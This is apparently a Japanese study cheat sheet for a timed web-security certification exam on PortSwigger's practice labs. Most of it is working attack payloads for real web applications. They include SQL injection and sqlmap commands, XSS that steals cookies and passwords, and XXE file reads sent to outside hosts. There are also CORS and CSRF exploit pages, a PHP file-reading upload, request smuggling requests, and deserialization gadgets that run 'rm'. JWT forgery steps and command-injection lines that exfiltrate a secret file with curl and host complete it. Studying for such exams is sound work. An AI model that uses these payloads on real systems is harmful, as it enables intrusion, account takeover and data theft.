- 制限時間は4時間
- 2つの脆弱なアプリケーションを攻略する
- それぞれのアプリケーションでの流れは以下の通り
- ステージ1: 任意のユーザー アカウントを奪う。
- ステージ2: アカウントを使用して /admin の管理インターフェイスにアクセスする。おそらく、権限を昇格させるか、管理者アカウントを侵害する。
- ステージ3: 管理インターフェイスを使用して、サーバーのファイルシステムから
/home/carlos/secret
の内容を読み取り、"submit solution" を使用して送信する。
- ユーザー名「 administrator 」を持つ管理者アカウントと、通常は「 carlos 」と呼ばれる権限の低いアカウントが常に存在する。ユーザー名列挙の脆弱性が見つかった場合、次のユーザー名リストとパスワードリストを使用して、権限の低いアカウントに侵入できる可能性がある。
- 各アプリケーションには最大1人のアクティブユーザーがおり、ユーザーまたは管理者としてログインする。ユーザーは15秒ごとにサイトのホームページにアクセスし、アプリケーションから受信した電子メールのリンクをクリックすると想定できる。エクスプロイトサーバーの「被害者への送信」機能を使用して、反映された脆弱性をターゲットにすることができる。
- SSRFの脆弱性が見つかった場合は、ローカルホストのポート6566 で実行されている内部専用サービスにアクセスすることで、それを使用してファイルを読み取ることができる。
- _lab および _lab_analytics Cookie は試験のコア機能の一部のため改ざんしてはならない。
- Burp Suiteのプロジェクトファイルを使用する必要がある。プロジェクトファイルは、試験を受けてから1週間以内に証明書を確認したり、報告された問題を調査したりするために要求される場合がある。試験用のプロジェクトで始めると良い。
- 不完全なサニタイズに注目せよ
- 例えば
"
が単に\"
と置き換えられる場合は\"
とすれば\\"
となってバイパスできる - 末尾一致を検証している場合はヌルバイト文字で騙せるかもしれない
- 例えば
- 極端に大きな値、小さな値、負数、小数を試す
- ダブルURLエンコード
- 英字は大文字、小文字を織り交ぜる
- バックエンドサーバ、キャッシュサーバなどサーバが複数存在する場合
- 同じHTTPヘッダーを2つ挿入してみる
- リクエストラインにホスト名を含めてみる
- GET https://target/
- /robots.txt, /.git, /backup, /file_name~で情報収集
- Hostヘッダを入れてみる
- X-Forwarded-For
- X-Forwarded-Host
- TRACEメソッド
- HTMLの属性はダブルクォートで囲うこと
- シングルクォートで囲ってもレンダリング時にダブルクォートに変換される
- 特定のパスでリダイレクトを起こせるか
- Ascii to String
%w(51 101 48 103 104 104 103 101 122 57 119 99 121 56 101 56 98 103 97 111).map(&:to_i).map(&:chr).join
- Repeaterでは複数リクエストをグルーピングして単一コネクションで順にリクエストを送信できる
- 手動テストtips
foo' OR 1=1 --
ですべてのレコードを取得するUNION SELECT NULL(,NULL){0,}
でカラム数を決定するUNION SELECT '',NULL,NULL
,UNION SELECT NULL,'',NULL
,UNION SELECT NULL,NULL,''
のようにして文字列カラムを特定する- 自由にできるフィールドが制限されている場合、
CONCAT()
や||
を活用する - ORDER
(SELECT (CASE WHEN ((select substring(password, 1, 1) from users where username = 'carlos')='n') THEN 9975 ELSE 1/(SELECT 0) END))
- postgresで動作確認
- テーブル名、カラム名の列挙でユーザーのパスワードを奪取する
- クエリの結果があるか否か(またはエラーか否か)でレスポンスが変わる場合、
SUBSTRING()
を使ってパスワードを1文字ずつ特定できる - DNSルックアップ
テーブル一覧
python3 sqlmap.py -u URL_WITH_PARAMS --tables -o
テーブルのダンプ
python3 sqlmap.py -u URL_WITH_PARAMS -T TABLE_NAME --dump -o
- https://portswigger.net/web-security/sql-injection/cheat-sheet
- information_schema.tables.table_name
- information_schema.columns.column_name
- all_tables.table_name
- all_tab_columns.column_name
- カラム数を決定する
- 文字列カラムの位置を特定する
- データベースバージョンの表示
- 10秒遅延を発生させる
- BurpCollaboratorと疎通する
"><s>
でタグを注入<xss id=x tabindex=1 autofocus onfocus=alert(document.cookie)></xss>
- </script><script>alert(1)</script>
- HTML-encoding(ex. '), JavaScriptテンプレートリテラル(
${123}
) <>
がHTMLエンコードされている場合は" autofocus onfocus=alert(document.domain) x="
で属性を注入- iframeでscriptが実行されるページを送り込む
- location.hrefを変えて強制遷移させる
- JavaScriptで<>をreplaceしている場合は<>を前に挟む
- 正しくはreplaceAll
- via SVG
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
- クッキーを盗む
<iframe src="https://LAB_ID/?SearchTerm=rn0sswb5%22%7D%3Bfetch%28%60https%3A%2F%2Fexploit-0ae4001e03bfe98dc00152e7013500a8%5Cu%7B2e%7Dweb-security-academy%5Cu%7B2e%7Dnet%2F%3F%24%7Bdocument%5B%22cookie%22%5D%7D%60%2C%7Bmode%3A%27no-cors%27%2Ccredentials%3A%27include%27%7D%29%2F%2F"></iframe>
- オートコンプリートされるパスワードを盗む
<input name=username id=username>
<input type=password name=password onchange=" if(this.value.length) fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{method: 'POST',mode: 'no-cors',body: username.value+':'+this.value,credentials: 'include'});">
- DOMが読み込まれてから何かしたい
window.onload = (e) => {/* 何か */};
- aタグが書けるがhref=**がブロックされる場合
<a href ping="***">
で任意のURLにPOSTリクエストが出せる - formがある画面の場合、form内の値をクエリパラメータから受け付けているかもしれない
- ユーザーに目当ての要素を選択させる必要があり、任意のURLを踏ませられる場合は以下のようなコードが有効な場合がある
<script>
location = "target.com?x=<input onfocus=alert(1) id=x>#x"
</script>
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
- https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting
- https://brutelogic.com.br/blog/xss-without-event-handlers/
- Originをそのまま信頼しているか
<script>
fetch(`https://LAB/accountDetails`, {
credentials: 'include',
method: 'GET'
})
.then(response=> response.json())
.then(data => {
fetch(`/?apiKey=${data.apikey}`)
})
</script>
- Origin: nullなリクエストを信頼しているか
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>fetch(`https://LAB/accountDetails`, { credentials: 'include', method: 'GET' }).then(response=> response.json()).then(data => { fetch(`/?apiKey=${data.apikey}`, { mode: 'no-cors' }) }) </script>"></iframe>
- ターゲットから信頼されている、XSSに脆弱なサブドメインは無いか
- Hostヘッダの検証バイパスを参考にする
- 相対パス、絶対パスで試す
- Burp IntruderのFuzzing Listを使う
- ../が削除されるならば....//
- 2重URLエンコード
- 特定文字列から始まっていれば良いのであれば/var/www/images/../../../etc/passed
../etc/passwd%00.jpg
- web message
- 送信元を確認していない場合
<!-- HTML -->
<iframe src="https://your-lab-id.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">
<!-- JSON -->
<iframe src=https://your-lab-id.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
- 内部IPのブルートフォース
<script>
const BURP_HOST = '5qwkaad5lhyov1p42rppclhwnntdh2.oastify.com'
for (let i = 0; i < 256; i++) {
fetch(`http://192.168.0.${i}:8080`)
.then(res => { res.text().then(text => {
fetch(`http://${BURP_HOST}?q=${i}&body=${encodeURIComponent(text)}`)
})})
}
</script>
- &, ||, ;などを使ってコマンドに割り込む
- 上記の記号を入れてエラーが起きるか
& sleep 10 &
でブラインドの検出- & nslookup $(whoami).BURP-COLLAB &
- ERB:
<%= %>
- Tornado:
""}}{% import os %}{{os.system("rm /home/carlos/morale.txt")
- Jinja2
{% debug %}
で情報収集setting.SECRET_KEY
が狙い目
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
- content-manager:C0nt3ntM4n4g3rでログインできる
- TRACEメソッド
- DOM内に怪しいファイルの痕跡(コメントなど)が無いか調べる
- /robots.txt
- /backup
- [filename]~
- /.git
- エラー画面を出す
- Logger++
- リクエストをドロップして、特定画面をスキップする
基本形
<script>
fetch(
'LAB/my-account/change-email',
{
method: 'POST',
mode:'no-cors',
body:'email=a@a',
credentials: 'include'
}
);
</script>
- POSTでない場合CSRFトークンの検証が行われないかもしれない
- sessionとCSRFトークンが紐づけられていないかもしれない
- この場合あるユーザーが使うCSRFトークンを別のユーザーへの攻撃用に使える
- CSRFトークン自体が無い場合は検証をしていないかもしれない
- クッキーを任意に設定できる脆弱性がある場合
- CSRFトークンがセッション以外のクッキーと紐づけられているかもしれない
- CSRFトークンとクッキーに同じ値があれば検証を通せるかもしれない
- リファラの検証をしている場合
- リファラが存在している場合のみ検証している場合
<meta name="referrer" content="never">
でリファラを付けないようにできる
- リファラの検証が不十分な場合
Referrer-Policy: unsafe-url
を返すことでリファラにクエリを付加することができる- 下記でリファラに任意の文字列を付加できる
history.pushState("", "", "/?your-lab-id.web-security-academy.net")
- リファラが存在している場合のみ検証している場合
- Burp Repeater -> Engagement tool -> CSRF PoC Generator
<head>
<style>
#target_website {
position:relative;
width: 1280px;
height:1280px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position: absolute;
top:490px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<p id="decoy_website">Click me</p>
<iframe id="target_website" src="https://victim-website.com">
</iframe>
</body>
- フレームバスターにガードされる場合は
sandbox="allow-forms"
- ENTITYは許可されるか、許可されるならばどのパターンが許可されるか
- ENTITYが2パターンとも許可されない場合は外部DTD読み込みを使う
- 入力値がレスポンスとして返る場合は単にパラメータを置き換えるだけで良いかもしれない
- エラーメッセージが返る場合はファイルを直接表示できるかもしれない
- XML全体をコントロールできない場合はXInclude Attack
- SVGがアップロードできる場合はSVGを
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR_DTD_URL"> %xxe; ]>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "file:///etc/passwd"> %xxe; ]>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP_COLLABORATOR_SUBDOMAIN"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % test SYSTEM "http://BURP_COLLABORATOR_SUBDOMAIN" > %test; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP_COLLABORATOR_SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY [xxe](https://portswigger.net/web-security/xxe) SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
- Fuzzing List
- RefererヘッダにBurp Collabratorサーバのホストを入れてページを巡回する
- HTTP Host header attacksのテクニックを試す
- Whitelist bypass
- https://github.com/0x221b/Wordlists/blob/master/Attacks/SSRF/Whitelist-bypass.txt
- http://evil-host%2523@expected-host
- username:passwordをサポートする場合に使える可能性がある
- 検証はURLデコードした値を見る
- リクエストの際は
http://evil-host#@expected-host
と解釈されてevil-hostへリクエストが飛ぶ
- Collaborator Everywhere(Burp Extension)
- 入れておくだけでリクエストの際にRefererやUser-Agentへのpingbackを検出してくれる
- ミステリーラボでのターゲット
- http://localhost/admin
- 192.168.0.0/24
- phpファイルのアップロード
Content-Type: text/plain
<?php echo file_get_contents('/home/carlos/secret'); ?>
- サーバがContent-Typeを信頼している場合、Content-Typeを改ざんできる
- パストラバーサルを利用して意図しないディレクトリにアップロードする
- filenameに相対パスを含める
- 難読化を併用
- サーバがApacheの場合、以下のようにして.htaccessファイルをアップロードすることで、任意の拡張子をphpとして解釈させることができる
AddType application/x-httpd-php .hoge
- 拡張子
- 大文字、小文字を混ぜる
- 複数付ける
- ex. shell.php.test
- .を(ダブル)URLエンコード
- 前にセミコロンやヌルバイト
- マルチバイトなユニコード文字
xC0 x2E
,xC4 xAE
orxC0 xAE
.php
が取り除かれる場合はp.phphp
- ファイルの中身もチェックしている場合、polyglotを試す
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" -o polyglot.php [元になる画像ファイル]
- race condition
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''<YOUR-POST-REQUEST>'''
request2 = '''<YOUR-GET-REQUEST>'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- クエリパラメータ、メッセージボディ、HTTPメソッド、ヘッダー(ex. リファラ)、クッキーを書き換える
- POSTXなど未知のメソッドを試す
- Hostヘッダを書き換える
- ユーザー名列挙
- 存在するユーザーとしないユーザーとでレスポンスボディや時間が微妙に異なるかもしれない
- 存在しないユーザーはロックされないかもしれない
- ブルートフォース
- ログインに成功するとログイン失敗回数をリセットできるかもしれない
- ログイン試行回数制限のバイパス
- X-Forwarded-For
- リクエストの一部を改変してメール内のパスワードリセットリンクのホスト部を改ざんできるかもしれない
- X-Forwarded-Host
- ユーザー名を受け付けている場合ブルートフォースに使える可能性がある
- Hostヘッダにリクエストをしているかもしれない
- 検証のバイパス
- リクエストラインにHostを含めるとHostヘッダの検証をしないかもしれない
- 2つ付けると片方は検証されないかもしれない
- ポート番号に任意の文字列を埋め込む
- コントロール下にあるサブドメインに差し替える
- SSRFのWAFバイパステクニックを試す(ex. 127.1)
- 前後に空白、タブを付ける
- 以下のホストで上書き
- X-Host
- X-Forwarded-Server
- X-HTTP-Host-Override
- Forwarded
- 同一コネクション内の2度目以降のリクエストは検証が甘いかもしれない
- 複数リクエストをまとめてシングルコネクションで送る
- 2番目のリクエストにエクスプロイトを
- フロントサーバとバックサーバのリクエスト解釈の違いを突いた攻撃
Content-LengthとTransfer-Encodingが両方あった場合... フロント:Content-Lengthを優先 バック:Transfer-Encodingを優先 このとき、 1回目のリクエストの最後をバックサーバに認識させ、2回目のリクエストと繋げることができ、想定されないHTTPメソッド(ex. GPOST)を実行させることができる 下記の例ではこの脆弱性を持ったバックサーバにHTTPメソッドをGPOSTとして渡すことができる
POST / HTTP/1.1
Host: target.com
Content-Length: 8
Transfer-Encoding: chunked
0
G
- フロント: Transfer-Encodingを優先
- バック:Content-Lengthを優先
このとき、以下のリクエストを2回送るとバックサーバにHTTPメソッドGPOSTを送ることができる。 (Transfer-Encodingのチャンクサイズは16進数表記であることに注意)
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
- 1回目(フロント): 最初のチャンクだけを解釈して最後の0の前まで見る
- 1回目(バック): GPOSTの前まで読む
- 2回目(フロント): 最後のチャンクを読む
- 2回目(バック): GPOSTから読む
- 以下の難読化テクニックを使ってフロントとバックの解釈の違いを突く
# 存在しない値
Transfer-Encoding: xchunked
# ヘッダ名、値の前後にスペースかタブを挟む
[space or tab]Transfer-Encoding[space or tab]:[space or tab]chunked[space or tab]
# 重複したヘッダ
Transfer-Encoding: chunked
Transfer-Encoding: x
# 改行させる
Transfer-Encoding
: chunked
X: X[\n]Transfer-Encoding: chunked
例えば以下のリクエストをしたときTransfer-Encodingについて、フロントサーバが始めの方(chunked)を、バックエンドサーバーが後続(x)を採用した場合、TE.CL型と同じ原理でバックエンドサーバーにGPOSTメソッドを送ることができる。
POST / HTTP/1.1
Host: 0ac500c40470c397c02e125a007e00d6.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: x
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
リクエストボディを想定していないようなエンドポイントにおいて、HTTPヘッダの終わりをリクエストの終わりと解釈する場合、以下の2つのリクエストをシングルコネクションで連続送信する。
POST /vulnerable-endpoint HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
GET /admin HTTP/1.1
Foo: x
GET /anything HTTP/1.1
Host: vulnerable-website.com
結果、バックエンドサーバーでは以下のようなリクエストが届くことがある。
GET /admin HTTP/1.1
Foo: xGET /anything HTTP/1.1
Host: vulnerable-website.com
- https://portswigger.net/web-security/request-smuggling/browser/cl-0
- https://portswigger.net/research/how-to-turn-security-research-into-profit
HTTP/2においてはContent-Lengthに依らずボディのサイズを算出する仕組みがあるが、これまで同様にTransfer-Encodingを受け入れる場合やはりサーバ間でそれらのHTTPヘッダの解釈差が生まれることがある。 例えばフロントサーバはTransfer-Encodingをサポートしておらず、バックエンドサーバーがTransfer-Encodingを優先している場合以下のようにして完全なリクエストを2つ同時に送ることができる。被害者がこのあとアクセスすると404が返り、次に攻撃者がアクセスすると被害者に返されるはずだったレスポンスが見える。このようにしてリクエストのキューを汚染することができる。
POST / HTTP/2
Host: target
Transfer-Encoding: chunked
0
GET /xxx HTTP/1.1
Host: target
フロントサーバがHTTP/2をダウングレードして、かつ、バックエンドサーバーがContent-Lengthを採用する場合、以下のようにしてエクスプロイトサーバからのレスポンスを返すことができる。
POST / HTTP/2
Host: target
Content-Length: 0
GET /something HTTP/1.1
Host: target
Content-Length: 5
x=1
Foo: bar\r\nTransfer-Encoding: chunked
- https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection
Foo: bar\r\nGET /admin HTTP/1.1\r\nHost: target
- https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection
- バックグランドでスキャナーやエクステンションの類を動かさないこと
- リクエスト順によるレスポンスの違いが確かめられなくなる
- 前回のリクエストのヘッダと衝突する場合は、1回目のリクエストを以下のようにして2回目の都合の悪い部分がボディに来るようにする
POST / HTTP/1.1
Host: 0ab2003503431d4fc0f0c440005c0002.web-security-academy.net
Cookie: session=eYLQ3aI12p8Lsr6Tma2qj9xTrJysvxXM
Content-Length: 139
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
- リクエストの一部がレスポンスに反映されるPOSTエンドポイントがある場合、以下のようにしてフロントサーバがリクエストをバックサーバに転送する際に付加するヘッダを特定できる - このとき2番目のContent-Lengthを調整しつつほしい情報を得る
Transfer-Encoding: chunked
Content-Length: 246
0
POST / HTTP/1.1
Host: 0afb00df04e0e634c0659e2400310083.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 300
search=POST / HTTP/1.1
Host: 0afb00df04e0e634c0659e2400310083.web-security-academy.net
- リクエストの最後に "\r\n\r\n "というシーケンスを含めることで、密輸されたリクエストを適切に終了させることを忘れない
- バックエンドサーバーにGPOSTメソッドを実行させる
- バックエンドサーバーに2回目以降すべて404が返るリクエストを送る
- フロントサーバのブロックをバイパスして管理画面に侵入してcarlosを削除
- 管理者のリクエストを強制的に画面に表示させてセッションを乗っ取る
- レスポンスにキャッシュしていることを匂わせるヘッダが付いているか
- Param Miner -> Guess everything!
- レスポンスがキャッシュされる場合、クエリパラメータに適当な値を入れるとキャッシュを無効化できるかもしれない
- クエリパラメータを入れてみる
- キャッシュキーの特定
- Pragma: x-get-cache-key(for Akamai)
- Varyヘッダ
- クエリパラメータutm_content(utm_source, utm_medium)はキャッシュキーから除外されたり、レスポンスに反映されるかもしれない
- キャッシュサーバーとバックエンドサーバーのクエリパラメータの解釈に相違がある
- バックエンドサーバーのみが;をセパレーターとして解釈する場合
- /js/geolocate.js?callback=setCountryCookie&utm_content=1;callback=alert(1)
- callback=alert(1)を送ることができ、キャッシュキーはsetCountryCookieになる
- バックエンドサーバーのみが;をセパレーターとして解釈する場合
- GETリクエストがボディを受け付けて、ボディがキャッシュキーで無い場合、クエリパラメータと共に同名のパラメータをキャッシュさせられるかもしれない(= fat GET)
- キャッシュキーを正規化する場合
- パスをURLエンコードしたものと、そうでないものを同一視しているかもしれない
- sessionをURLデコードからのBase64デコードしてオブジェクトらしきものが出れば権限昇格チャンス
- 曖昧な等価演算子==では文字列と0は等価になる
- PHPGGC
- ex.
docker run --rm phpgc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w 0 | pbcopy
- ex.
- PREPL
- REPL
- tips
$object = "OBJECT_GENERATED_BY_PHPGGC";
$secretKey = "LEAKED_SECRET_KEY_FROM_PHPINFO";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
- ysoserial
- ex1.
java -jar ysoserial-all.jar CommonsCollections4 'ARBITRARY_OS_COMMAND' | base64 -w 0 | pbcopy
- ex2.
java -jar ysoserial-all.jar CommonsCollections6 'ARBITRARY_OS_COMMAND' | gzip -f | base64 -w 0 | pbcopy
- ex1.
- sessionをURLデコード -> Base64デコードして先頭2バイトが
04 08
であればMarshalの可能性大 - Marshal
- ex.
./ruby_gadgets_chain.rb 'rm /home/carlos/morale.txt' | pbcopy
- ex.
- https://book.hacktricks.xyz/pentesting-web/deserialization
- https://portswigger.net/web-security/deserialization/exploiting#how-to-identify-insecure-deserialization
- 偵察
- 認可サーバが有しているかもしれないエンドポイント
- /.well-known/oauth-authorization-server
- /.well-known/openid-configuration
- 動的にクライアントを登録できる場合、登録用のエンドポイントがある
- 自分のトークンを使って被害者に成り変われるか
- redirect_uriの検証をしていない場合認証コードを盗める
<script>
var client_id = '***';
var oauth_server = '***';
var exploit_server = '***';
location = `${oauth_server}/auth?client_id=${client_id}&redirect_uri=${exploit_server}/oauth-callback&response_type=code&scope=openid%20profile%20email`;
</script>
- redirect_uriを同一ホスト内の任意パスに変えられて、かつ、オープンリダイレクト脆弱性がある場合、サーバに飛ばないハッシュフラグメントに付いたアクセストークンを盗める
- 認証フローの最初のエンドポイントがパラメータstateを含んでいなければForced OAuth profile linking可能
- 署名を検証をしていないためペイロードを単に書き換える
- alg: none
- 秘密鍵が弱い場合ブルートフォースで割り出せる
hashcat -a 0 -m 16500 --force <jwt> jwt.secrets.list
- -m 16500はJWTを指す
- jwk header injection
- 新しく公開鍵を作る
- subを被害者に修正
- Burp RepeaterのJSON Web TokenビューでAttack -> Embedded JWK -> 上記で作った鍵を選択
- jku header injection
- 新しく公開鍵を作る
- Copy Public Key as JWK
- エクスプロイトサーバに
{"keys": [ペースト]}
をアップロード - JWTパラメータのsubを被害者に、kidをサーバに上げた値と合わせる
- 先の鍵で署名
- kidパラメータにパストラバーサル脆弱性がある
- kidを../dev/nullとして徐々に../を増やしていく
AA==
をBase64エンコード済みの秘密鍵とする- JWTの作成はjwt.ioが便利
- jwt.io
- Algorithm confusion
- 実装者はRS256を仮定しているのに、ライブラリはヘッダーを見てRS256とHS256のどちらも受け入れる場合に起こる
- 悪用の流れ
- ※X.509 PEM形式のキーが攻撃対象のサーバに保存されていると仮定)
/jwks.json
または/.well-known/jwks.json
でjwkを入手- 公開鍵を適切なフォーマットに変換
-
- 公開鍵をコピーしてJWT Editor Keysタブへ
-
- New RSA Keyを押してjwkキーを貼り付ける
-
- ラジオボタンPEMを押してPEMに変換
-
- PEMをBase64エンコードしてコピー
-
- JWT Editor Keysタブに 戻り、New Symmetric Keyを選択
-
- ダイアログボックスで生成をクリックして、JWK形式で新しいキーを生成
-
- kパラメータの値を4でコピーした値で置き換える
-
- JWTを変更する
- algヘッダーをHS256に変える
- 後はお好きに
- RSA公開鍵をシークレットとしてHS256アルゴリズムを使用してトークンに署名
- 公開鍵が利用できない場合、生成した2つのJWTから公開鍵を割り出せることがある
docker run --rm -it portswigger/sig2n <token1> <token2>
- /files/server-status
- 新しいパスワードを入れるフォームでusernameを受け付けている
- メール内リンクの差し替え
- Hostヘッダを差し替える
- Hostヘッダを複数
- 1段階目を認証すると既にログイン扱いになっている
- URLデコードからのBase64デコードして文字列感があるか
- JWTかどうか
- OSコマンドの区切り文字(;, ||, &&)を入れる
- XSSペイロード
- ディレクトリトラバーサル
- /etc/passwd
- /home/carlos/secret
- SQLインジェクション
- XMLならXXE
- CORS
- ノーガードか
- Null Origin
host $(cat /home/carlos/secret).BURP_COLLABORATOR_SUBDOMAIN
curl --data @/home/carlos/secret BURP_COLLABORATOR_SUBDOMAIN